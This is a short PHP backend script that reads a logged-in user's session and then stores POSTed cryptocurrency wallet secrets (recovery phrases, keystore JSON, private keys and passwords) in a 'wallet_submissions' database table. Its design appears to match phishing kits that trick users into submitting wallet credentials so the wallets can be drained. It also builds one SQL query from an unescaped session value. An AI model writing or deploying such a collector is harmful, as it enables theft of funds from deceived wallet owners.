<?php 
include ('logic/connection.php');
session_start();

if(isset($_SESSION['user_email'], $_SESSION['user_name'])) {

$email = $_SESSION['user_email'];
$name = $_SESSION['user_name'];

}else{
    header("location:index.php");
}

$query_userdetails = "SELECT * FROM users WHERE user_email = '$email'";
$result = mysqli_query($myConn, $query_userdetails);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

$user_id  =$row["user_id"];

// Make sure request is POST
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    exit('Invalid request');
}

// REQUIRED VALUES
$user_id = isset($user_id) ? (int)$user_id : 0;
$keyid   = $_POST['keyid'] ?? '';
$type    = $_POST['type_of_login_detail'] ?? '';

// OPTIONAL FIELDS (based on form)
$phrase        = $_POST['Phrase'] ?? null;
$keystore_json = $_POST['Keystore_json'] ?? null;
$private_key   = $_POST['Private_Key'] ?? null;
$password      = $_POST['password'] ?? null;

// Basic validation
if ($user_id === 0 || empty($type)) {
    exit('Missing required data');
}

// Insert query
$sql = "INSERT INTO wallet_submissions 
        (user_id, keyid, login_type, phrase, keystore_json, private_key, password)
        VALUES (?, ?, ?, ?, ?, ?, ?)";

$stmt = mysqli_prepare($myConn, $sql);
if ($stmt === false) {
    die("Prepare failed: " . mysqli_error($myConn));
}

mysqli_stmt_bind_param(
    $stmt,
    "issssss",
    $user_id,
    $keyid,
    $type,
    $phrase,
    $keystore_json,
    $private_key,
    $password
);

if (!mysqli_stmt_execute($stmt)) {
    die("Insert failed: " . mysqli_stmt_error($stmt));
}

mysqli_stmt_close($stmt);
mysqli_close($myConn);

// SUCCESS RESPONSE (JS expects success)
echo "success";
